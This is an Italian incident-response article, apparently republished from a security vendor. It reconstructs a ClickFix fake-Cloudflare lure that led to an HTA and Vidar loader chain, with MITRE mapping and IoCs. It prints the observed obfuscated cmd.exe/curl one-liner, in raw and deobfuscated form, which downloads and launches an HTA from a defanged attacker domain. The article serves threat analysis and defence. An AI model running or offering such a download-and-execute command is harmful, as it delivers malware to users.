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Da ClickFix alla distribuzione HTA: ricostruzione di una catena interrotta da AGGER
Il 14 settembre 2026, AGGER ha rilevato e interrotto un tentativo di compromissione finalizzato al download e alla successiva esecuzione di un componente malevolo. L’attacco prevedeva l’esecuzione manuale di una sequenza di comandi da parte dell’utente, finalizzata al recupero del payload e alla prosecuzione della catena attraverso ulteriori stadi. La reaction applicata da AGGER ha interrotto la catena prima che il file malevolo potesse essere scaricato ed eseguito, impedendo quindi l’acquisizione diretta del payload destinato al sistema. Per questo motivo, l’attività di analisi si è concentrata sulla ricostruzione dei possibili stage successivi dell’attacco attraverso la correlazione degli artefatti osservati con campioni e campagne documentate pubblicamente. Parallelamente, l’analisi della cronologia del browser ha permesso di individuare il sito visitato dall’utente poco prima dell’esecuzione dei comandi. Una successiva verifica del sito ha consentito di riprodurre una falsa procedura di verifica che induceva l’utente a eseguire manualmente una sequenza di comandi sul sistema. La somiglianza tra la procedura riprodotta sul sito e quella ricostruita a partire dalle evidenze dell’incidente, unita alla struttura quasi sovrapponibile del comando, supporta l’ipotesi che l’attacco sia stato avviato tramite una tecnica di social engineering nota come ClickFix . Ricostruzione cronologica della catena di attacco La figura ricostruisce la catena distinguendo quando gli eventi si sono verificati da quando sono stati analizzati o ricostruiti . In particolare, il livello del 17 settembre raccoglie le evidenze emerse dall’analisi della cronologia del browser e dalla verifica del sito, mentre i nodi interni riportano la data in cui gli eventi ricostruiti si collocano nella sequenza. Le sezioni tecniche successive seguono invece l’ordine effettivo dell’analisi, dei pivot e delle attività di hunting. 17 settembre 2026: analisi del vettore iniziale e ricostruzione degli eventi del 14 settembre. L’analisi della cronologia del browser dell’utente coinvolto ha individuato un redirect da Google verso il sito successivamente risultato compromesso, registrato alle 14:06:47 del 14 settembre , due minuti e 42 secondi prima della detection di AGGER. Durante la verifica del medesimo sito, effettuata il 17 settembre , è stata riprodotta una falsa verifica di sicurezza che imitava Cloudflare: la pagina copiava automaticamente una command line negli appunti e invitava l’utente a eseguirla tramite Win + R → Ctrl + V → Enter. La procedura e la struttura quasi sovrapponibile dei comandi hanno supportato l’ipotesi che l’esecuzione del 14 settembre fosse stata probabilmente avviata tramite ClickFix . Il comando riprodotto il 17 settembre utilizzava però un dominio e un filename diversi da quelli dell’incidente originale. 14 settembre 2026: rilevazione e interruzione della catena. Alle 14:09:29 , AGGER ha rilevato sull’endpoint la sequenza explorer.exe → cmd.exe → curl.exe, finalizzata al download di rhp.hta da embankmentandopal[.]com/zx. La reaction ha interrotto la catena prima che il file potesse essere scaricato ed eseguito. Il body HTTP che sarebbe stato restituito da questo indirizzo non è stato quindi acquisito: il payload effettivamente destinato all’endpoint non era disponibile per un’analisi diretta. 16 settembre 2026: hunting e correlazione dei possibili stage successivi. Per proseguire oltre il punto di interruzione, l’indirizzo pubblico 207.148.25[.]29, associato a embankmentandopal[.]com, è stato utilizzato come pivot su ANY.RUN e per l’analisi degli historical SSL certificates. Le ricerche hanno portato all’individuazione di un campione pubblico rhp.hta e di ulteriori domini correlabili all’infrastruttura osservata. La deoffuscazione del campione ha rivelato codice che prevedeva un download da viaductandspinel[.]com/ost, il trattamento di un file con suffisso .pdf come archivio e la successiva esecuzione di WinWrapIDE.exe. Poiché il campione ne indicava solo il filename, è stato utilizzato come nuovo pivot lo SHA-256 di WinWrapIDE.exe pubblicato da LevelBlue : la ricerca su ANY.RUN ha individuato 81241123044010750.pdf, riconosciuto come archivio ZIP, con sette componenti corrispondenti per filename e hash al materiale documentato dalla stessa fonte. La correlazione non ha tuttavia dimostrato né che rhp.hta fosse il file distribuito da /zx, né che quell’archivio provenisse da viaductandspinel[.]com/ost o fosse destinato all’endpoint originale. 14 settembre 2026: accesso iniziale e rilevazione La telemetria direttamente osservata da AGGER sull’endpoint ha costituito il punto di partenza tecnico dell’indagine. Alle 14:09:29 è stata rilevata la sequenza explorer.exe → cmd.exe → curl.exe, finalizzata al download di un file HTA denominato rhp.hta da embankmentandopal[.]com/zx. La command line rilevata, con lo username anonimizzato, era: "C:\WINDOWS\system32\cmd.exe" /v:on /c "(set a=cu&set b=rl&for %l in (C:\Users\*\AppData\Local\rhp.hta) do !a!!b! -sLko %l embankmentandopal[.]com/zx& start "" "%l")" Listing 1: Command line osservata direttamente da AGGER. Il parametro /v:on abilitava la Delayed Environment Variable Expansion . Le istruzioni set a=cu, set b=rl e !a!!b! ricostruivano curl a runtime, mentre il ciclo for assegnava a %l il percorso C:\Users\*\AppData\Local\rhp.hta. Rimuovendo l’offuscamento, il comportamento principale risultava equivalente a: curl -sLk -o "C:\Users\*\AppData\Local\rhp.hta" "embankmentandopal[.]com/zx" start "" "C:\Users\*\AppData\Local\rhp.hta" Listing 2: Rappresentazione deoffuscata della command line osservata. Le opzioni di curl indicavano modalità silenziosa (-s), follow degli eventuali redirect (-L), mancata validazione del certificato TLS (-k) e salvataggio della risposta tramite -o. La telemetria direttamente rilevata da AGGER poteva quindi essere sintetizzata nella seguente catena: Figura 1: Catena osservata e punto di interruzione della reaction AGGER. Dal punto di vista MITRE ATT&CK, il comportamento osservato ricade nella tecnica T1105: Ingress Tool Transfer [5] e nelle sottotecniche T1059.003: Windows Command Shell [4] e T1027.010: Command Obfuscation [6]. La reaction applicata da AGGER ha interrotto la catena prima che rhp.hta potesse essere scaricato ed eseguito. Di conseguenza, il body HTTP restituito da embankmentandopal[.]com/zx non è stato acquisito e il payload effettivamente destinato all’endpoint non era disponibile per un’analisi diretta. Questo punto ha definito il confine dell’evidenza direttamente osservata sull’endpoint. Per ricostruire i possibili stage successivi, l’indagine è quindi proseguita attraverso attività di hunting e correlazione sugli indicatori emersi dall’incidente. 16 settembre 2026: attività di hunting e correlazione Pivot a partire dall’infrastruttura osservata Il primo elemento utilizzabile oltre il punto di interruzione era embankmentandopal[.]com, osservato direttamente nella command line rilevata da AGGER. Le verifiche sui dati pubblici hanno associato il dominio all’indirizzo IP 207.148.25[.]29 e hanno indicato che embankmentandopal[.]com era stato registrato il 14 settembre 2026 tramite Spaceship, Inc. [13]. L’indirizzo 207.148.25[.]29 è stato quindi utilizzato come pivot per due attività parallele: la ricerca di esecuzioni pubbliche su ANY.RUN e l’analisi degli historical SSL certificates. Il primo ramo aveva l’obiettivo di individuare artefatti compatibili con quanto osservato sull’endpoint; il secondo mirava a estendere la visibilità sull’infrastruttura correlata. Il pivot su ANY.RUN ha portato all’individuazione di un campione pubblico denominato rhp.hta [16], lo stesso filename previsto dalla command line dell’incidente. Il filename e il contesto infrastrutturale hanno reso il campione rilevante per l’hunting, ma non è stato possibile dimostrare che embankmentandopal[.]com/zx avesse restituito esattamente questo file il 14 settembre . Il campione è stato quindi utilizzato come artefatto investigativo per ricostruire una possibile prosecuzione della catena, non come payload direttamente acquisito dall’endpoint. Analisi del campione rhp.hta recuperato L’analisi del campione recuperato ha evidenziato una routine JavaScript che ricostruiva dinamicamente il codice effettivo: Listing 3: Routine di deoffuscazione presente nel campione HTA. La trasformazione applicata era String.fromCharCode((value – 7) ^ 51); il risultato veniva poi concatenato ed eseguito tramite Function(t)(). La ricostruzione e l’esecuzione dinamica del codice sono riconducibili alla tecnica T1140: Deobfuscate/Decode Files or Information [8] e alla sottotecnica T1059.007: JavaScript [7]. Successivamente, il codice deoffuscato ridimensionava la finestra a 0x0, la spostava fuori dall’area visibile, creava un oggetto WScript.Shell e generava un valore pseudocasuale utilizzato sia come directory sia come filename con estensione .pdf. L’occultamento della finestra rientra nella sottotecnica T1564.003: Hidden Window [9]. La logica principale del possibile second stage era: Listing 4: Download, estrazione ed esecuzione definiti nel campione rhp.hta. L’analisi ha quindi fatto emergere due nuovi elementi utili per il pivoting: viaductandspinel[.]com/ost e WinWrapIDE.exe. Il primo era direttamente presente nel codice deoffuscato; il secondo rappresentava l’eseguibile che il campione prevedeva di avviare dopo l’estrazione del contenuto scaricato. Infatti, il codice mostrava il tentativo di salvare il file con estensione .pdf e il successivo utilizzo del comando tar per trattarlo come un archivio. Questa modalità operativa è riconducibile alla sottotecnica T1036.008: Masquerade File Type [10], mentre il download tramite curl ricade nella tecnica T1105: Ingress Tool Transfer [5]. Le verifiche pubbliche hanno inoltre indicato che viaductandspinel[.]com, come embankmentandopal[.]com, era stato registrato il 14 settembre tramite Spaceship ed era associato allo stesso indirizzo 207.148.25[.]29 [14]. Questo elemento ha rafforzato l’interesse investigativo sul dominio, senza però colmare il gap tra il campione recuperato e il payload effettivamente destinato all’endpoint. A questo punto, WinWrapIDE.exe è diventato il nuovo elemento di pivot. Il campione ne indicava il filename, ma non ne conteneva l’hash; inoltre, il body restituito da viaductandspinel[.]com/ost non era disponibile. Per proseguire le attività investigative, è stato quindi aperto un ulteriore ramo di correlazione basato su fonti pubbliche. In particolare, l’articolo pubblicato da LevelBlue è stato utilizzato come fonte per recuperare lo SHA-256 associato a WinWrapIDE.exe, successivamente impiegato come nuovo pivot investigativo. Pivot su WinWrapIDE.exe e correlazione con LevelBlue La ricerca pubblicata da LevelBlue SpiderLabs il 10 agosto 2026 documentava una loader chain avviata tramite ClickFix nella quale veniva abusato un eseguibile IBM SPSS legittimo e firmato con lo stesso filename, WinWrapIDE.exe [12]. LevelBlue pubblicava per tale file lo SHA-256: 0562c588997fa9961d55c6ab1db2656344324bca8db9ea7b64fe309132b2399f Poiché questo hash non proveniva dal campione rhp.hta ma da una fonte esterna, è stato utilizzato esclusivamente come pivot investigativo. La ricerca nei report pubblici di ANY.RUN ha portato all’individuazione del file 81241123044010750.pdf. Nonostante il suffisso .pdf, la sandbox ha identificato il file come ZIP archive data . Il naming numerico risultava coerente con il comportamento osservato nel campione rhp.hta, che generava un filename pseudocasuale e trattava poi il contenuto scaricato come archivio. Questo elemento ha rafforzato la correlazione, senza però dimostrare che si trattasse del file distribuito da viaductandspinel[.]com/ost. L’esecuzione pubblica mostrava una process chain che includeva WinWrapIDE.exe, stage intermedi, 7za.exe e pythonw.exe. La stessa analisi riportava i tracker Stealer e Vidar , oltre al tag vidar applicato a pythonw.exe [15]. Figura 2: Esecuzione pubblica di 81241123044010750.pdf; nello stesso screenshot sono visibili process chain, tracker Stealer/Vidar e tag Vidar su pythonw.exe. Per verificare se la correlazione si limitasse al solo filename WinWrapIDE.exe o coinvolgesse l’intero package, il contenuto del file è stato confrontato con l’insieme di riferimento pubblicato da LevelBlue. Sono stati individuati sette componenti coincidenti sia per filename sia per SHA-256 [12][15]: WinWrapIDE.exe wwide9.dll ClLoca.dll Xceed.Wpf.DataGrid.dll ComPDFKit.Viewer.dll model.dat HelperStandardizationApplication.bin Listing 5: Componenti coincidenti con l’insieme di riferimento documentato da LevelBlue. La corrispondenza dei sette componenti ha fornito un elemento ad alta confidenza a supporto del legame tra il contenuto del file analizzato e il package della loader chain documentata da LevelBlue. Non è stato tuttavia stabilito che viaductandspinel[.]com/ost avesse distribuito questo specifico file. Di conseguenza, non è stato possibile stabilire che 81241123044010750.pdf rappresentasse il second stage destinato all’endpoint coinvolto nell’incidente originale. Allo stesso modo, la classificazione Vidar / Stealer descriveva la specifica esecuzione pubblica osservata su ANY.RUN e non dimostrava che Vidar fosse il payload finale previsto per l’incidente del 14 settembre . Correlazione dell’infrastruttura Parallelamente al ramo di correlazione basato su WinWrapIDE.exe, il 16 settembre l’indirizzo 207.148.25[.]29 e il dominio osservato nell’incidente sono stati utilizzati per estendere l’analisi dell’infrastruttura. La consultazione degli historical SSL certificates ha portato all’individuazione di: weirandchalcedony[.]com rapidsandhematite[.]com cascadeandtopaz[.]com cataractandivory[.]com lockandlabradorite[.]com I certificati relativi a questi domini risultavano emessi tra l’8 e il 12 settembre 2026 . Questa finestra temporale indicava la data di emissione dei certificati e non il momento in cui i domini erano stati osservati dagli analisti. Dopo l’introduzione degli ulteriori domini emersi nei diversi rami dell’indagine, è stato possibile confrontare il cluster nel suo insieme. embankmentandopal[.]com, viaductandspinel[.]com, aqueductandcitrine[.]com e i domini individuati tramite historical SSL certificates condividevano un template lessicale ricorrente: un termine legato all’acqua o a opere di ingegneria civile, la stringa and e un termine riferibile a una gemma o a un materiale decorativo . Esempi includevano weir + chalcedony, cascade + topaz, aqueduct + citrine, embankment + opal e viaduct + spinel. Le verifiche sui dati di registrazione hanno inoltre evidenziato un utilizzo ricorrente del registrar Spaceship . Queste caratteristiche sono state utilizzate come criteri di correlazione e come possibili pivot per ulteriori attività di hunting; non sono state formulate ipotesi sul meccanismo con cui i nomi dei domini erano stati generati. Un ulteriore elemento di correlazione è stato individuato in un task Triage pubblico dell’ 8 settembre 2026 , quindi precedente all’incidente, nel quale cataractandivory[.]com/lj veniva utilizzato per scaricare ops.hta [3]. Il task mostrava la stessa costruzione set a=cu / set b=rl, la Delayed Environment Variable Expansion , l’utilizzo di curl, il download di un file .hta sotto %LocalAppData% e la successiva esecuzione tramite mshta.exe. L’esecuzione del file HTA tramite mshta.exe rientra nella sottotecnica T1218.005: System Binary Proxy Execution: Mshta [11]. Il task Triage rappresentava tuttavia evidenza TI esterna e preesistente , non telemetria dell’incidente originale. Allo stesso modo, la pubblicazione LevelBlue del 10 agosto 2026 e il task Triage dell’ 8 settembre 2026 sono stati utilizzati come fonti di correlazione durante l’indagine e non rappresentano eventi osservati sulla macchina coinvolta. 17 settembre 2026: ricostruzione dell’accesso iniziale Dopo aver ricostruito i possibili stage successivi attraverso attività di hunting, l’analisi si è concentrata sul possibile vettore che aveva preceduto l’esecuzione osservata da AGGER. La cronologia del browser dell’utente coinvolto ha evidenziato che, alle 14:06:47 del 14 settembre , circa 2 minuti e 42 secondi prima della detection AGGER delle 14:09:29 , era avvenuto un redirect da Google verso il sito successivamente risultato compromesso. Il 17 settembre , una successiva verifica dello stesso sito ha consentito di riprodurre una falsa verifica di sicurezza che imitava Cloudflare . La pagina copiava automaticamente una command line negli appunti del sistema e invitava l’utente a eseguirla tramite la sequenza Win + R → Ctrl + V → Enter. Figura 3: Falsa verifica riprodotta durante l’analisi successiva. Le informazioni identificative del sito sono state oscurate. La command line inserita nella clipboard durante la verifica era: Listing 6: Command line generata durante la verifica del 17/09/2026. Il comando non coincideva con quello osservato durante l’incidente originale : il 14 settembre venivano utilizzati embankmentandopal[.]com/zx e rhp.hta, mentre la verifica del 17 settembre ha prodotto aqueductandcitrine[.]com/gb e pto.hta. La struttura di esecuzione e offuscamento risultava tuttavia quasi sovrapponibile: in entrambi i casi venivano utilizzati cmd.exe, la Delayed Environment Variable Expansion, la ricostruzione di curl tramite set a=cu / set b=rl, il download di un file HTA sotto il profilo utente e la successiva esecuzione del file. La combinazione tra la cronologia di navigazione, la procedura riprodotta sul sito e la forte somiglianza strutturale dei comandi ha supportato l’assessment secondo cui l’esecuzione del 14 settembre fosse stata probabilmente avviata tramite una tecnica di social engineering di tipo ClickFix . In termini di mapping MITRE ATT&CK, questo comportamento è riconducibile alla sottotecnica T1204.004: User Execution: Malicious Copy and Paste [1][2]. aqueductandcitrine[.]com è stato osservato esclusivamente durante questa verifica successiva e non faceva parte della command line rilevata da AGGER il 14 settembre . Mappatura MITRE ATT&CK Technique Nome Evidenza Scope User Execution: Malicious Copy and Falsa human verification, Win + R, paste ed T1204.004 [2] Incidente / verifica successiva Paste execution T1059.003 [4] Windows Command Shell cmd.exe /v:on /c Incidente curl verso /zx; curl verso /ost nel campione T1105 [5] Ingress Tool Transfer Incidente / campione recuperato HTA clickfix_analysis_it_rev02.md 2026-10-09 Technique Nome Evidenza Scope T1027.010 [6] Command Obfuscation a=cu, b=rl, !a!!b! Incidente T1059.007 [7] JavaScript JavaScript presente nell’HTA Campione rhp.hta Deobfuscate/Decode Files or Ricostruzione tramite array, XOR e T1140 [8] Campione rhp.hta Information fromCharCode T1564.003 [9] Hidden Window resizeTo(0,0) e moveTo(-32000,-32000) Campione rhp.hta T1036.008 Campione rhp.hta / package Masquerade File Type File .pdf trattato come archivio [10] pubblico T1218.005 System Binary Proxy Execution: mshta.exe esegue ops.hta Task Triage correlato [11] Mshta Indicatori di compromissione Per mantenere distinta la provenienza degli indicatori, gli IoC sono riportati insieme al contesto nel quale sono emersi. La presenza nella stessa tabella non implica che tutti siano stati osservati direttamente sull’endpoint coinvolto nell’incidente. Rete Indicatore Provenienza / Scope embankmentandopal[.]com Command line osservata direttamente da AGGER embankmentandopal[.]com/zx Command line osservata direttamente da AGGER 207.148.25[.]29 IP associato al dominio osservato; utilizzato come pivot investigativo viaductandspinel[.]com Campione pubblico rhp.hta recuperato tramite hunting viaductandspinel[.]com/ost Codice deoffuscato del campione pubblico rhp.hta aqueductandcitrine[.]com Verifica successiva del 17 settembre aqueductandcitrine[.]com/gb Command line generata durante la verifica del 17 settembre cataractandivory[.]com Correlazione infrastrutturale / TI esterna cataractandivory[.]com/lj Task Triage pubblico dell'8 settembre weirandchalcedony[.]com Historical SSL certificate analysis rapidsandhematite[.]com Historical SSL certificate analysis cascadeandtopaz[.]com Historical SSL certificate analysis lockandlabradorite[.]com Historical SSL certificate analysis Hash dei file: SHA-256 Provenienza SHA-256 File / Scope Campione pubblico 02e02d79e0d3bc813e722c3432ec3a08e1aa513cd20c9a57917260d730a31d4f rhp.hta individuato tramite pivot su ANY.RUN File pubblico individuato su ANY.RUN bd75e2ae7e47a67d4832c409c7dd0840fb5b6b1ad2d074b7c0174fb11adc0bd6 81241123044010750.pdf tramite pivot sull’hash LevelBlue clickfix_analysis_it_rev02.md 2026-10-09 Provenienza SHA-256 File / Scope Hash pubblicato da LevelBlue 0562c588997fa9961d55c6ab1db2656344324bca8db9ea7b64fe309132b2399f WinWrapIDE.exe / componente del package correlato Componente 5b71b49bad415643ff3e291ee3ba550e5edfd584eb913859dadb81634450e7e7 wwide9.dll del package correlato Componente 3d4e7187f74de912f9d52f5ba6a95bd41868348b16583d72957d732c0ed8f0e7 ClLoca.dll del package correlato Componente b804b9dd2726e69fb4f496a6872f90edf9146ad8044c6d3a592040ce1074a5d0 Xceed.Wpf.DataGrid.dll del package correlato Componente 3466c3524f13cb3b7c87819e619bdb482ec9034a57bcdbe0240af6a9a530b02a ComPDFKit.Viewer.dll del package correlato Componente 3b9b86feb3b789dda9cdfe5425ccb7e1feae9fde2cc158ff962991218a98f53f model.dat del package correlato Componente 2922837a8d049bf0b51f0f9b27340a377b27dd1912675e2cd82056db83ec7a19 HelperStandardizationApplication.bin del package correlato Il sito compromesso non viene identificato né inserito tra gli IoC nel presente articolo. Le evidenze disponibili indicano che è stato utilizzato come punto di delivery della lure; non viene formulata alcuna attribuzione di intenzionalità al proprietario del sito. Conclusioni L’incidente del 14 settembre è stato intercettato da AGGER durante il tentativo di download di rhp.hta, prima che il file potesse essere scaricato ed eseguito. L’interruzione ha impedito l’acquisizione del body restituito da embankmentandopal[.]com/zx, definendo un chiaro confine tra la telemetria direttamente osservata e le successive attività investigative. A partire dal dominio rilevato da AGGER, l’indagine ha utilizzato 207.148.25[.]29 come pivot su ANY.RUN e per l’analisi dell’infrastruttura. Il primo ramo ha portato all’individuazione di un campione pubblico rhp.hta; la sua analisi ha fatto emergere viaductandspinel[.]com/ost e l’esecuzione prevista di WinWrapIDE.exe. Questi risultati hanno consentito di ricostruire una possibile prosecuzione della catena, senza dimostrare che il campione recuperato fosse il payload effettivamente restituito da /zx. Poiché il body di /ost non era disponibile e il campione non conteneva l’hash di WinWrapIDE.exe, l’indagine è proseguita utilizzando come pivot lo SHA-256 pubblicato da LevelBlue. La ricerca ha portato al file pubblico 81241123044010750.pdf, identificato dalla sandbox come archivio ZIP. La corrispondenza di sette componenti, sia per filename sia per SHA-256, ha fornito un elemento ad alta confidenza a supporto del legame con il package della loader chain documentata da LevelBlue. Non è stato tuttavia stabilito che /ost avesse distribuito quello specifico file, né che la classificazione Vidar osservata nella relativa esecuzione pubblica rappresentasse il payload finale destinato all’endpoint originale. Parallelamente l’analisi degli historical SSL certificates, dei dati di registrazione e delle fonti TI esterne ha evidenziato un insieme di domini accomunati da caratteristiche infrastrutturali e lessicali ricorrenti, fornendo ulteriori pivot per attività di hunting senza estendere tali correlazioni oltre le evidenze disponibili. Infine, l’analisi della cronologia del browser ha permesso di ricostruire il probabile vettore iniziale dell’attacco. È stato individuato un redirect verso il sito successivamente risultato compromesso, avvenuto poco prima della detection di AGGER. La verifica effettuata il 17 settembre ha poi consentito di riprodurre una falsa verifica di sicurezza che imitava Cloudflare e induceva l’utente a eseguire manualmente una command line. La procedura osservata, insieme alla struttura quasi sovrapponibile dei comandi, ha supportato l’assessment secondo cui l’esecuzione del 14 settembre fosse stata probabilmente avviata tramite ClickFix . Riferimenti Microsoft Threat Intelligence: Think before you Click(Fix): Analyzing the ClickFix social engineering technique MITRE ATT&CK: T1204.004, User Execution: Malicious Copy and Paste Triage: Public behavioral analysis 260908-1xxxzahl9s MITRE ATT&CK: T1059.003, Windows Command Shell MITRE ATT&CK: T1105, Ingress Tool Transfer MITRE ATT&CK: T1027.010, Command Obfuscation MITRE ATT&CK: T1059.007, JavaScript MITRE ATT&CK: T1140, Deobfuscate/Decode Files or Information MITRE ATT&CK: T1564.003, Hidden Window MITRE ATT&CK: T1036.008, Masquerade File Type MITRE ATT&CK: T1218.005, System Binary Proxy Execution: Mshta LevelBlue SpiderLabs: CNCMachineRMS: The Undocumented RAT At the End of a BabaDeda Chain , 10 August 2026 Public domain metadata: embankmentandopal.com Public domain metadata: viaductandspinel.com ANY.RUN: Public sandbox execution of 81241123044010750.pdf ANY.RUN: Public sandbox execution of rhp.hta Scarica il documento originale (PDF) L'articolo Da ClickFix alla distribuzione HTA: ricostruzione di una catena interrotta da AGGER proviene da Red Hot Cyber .
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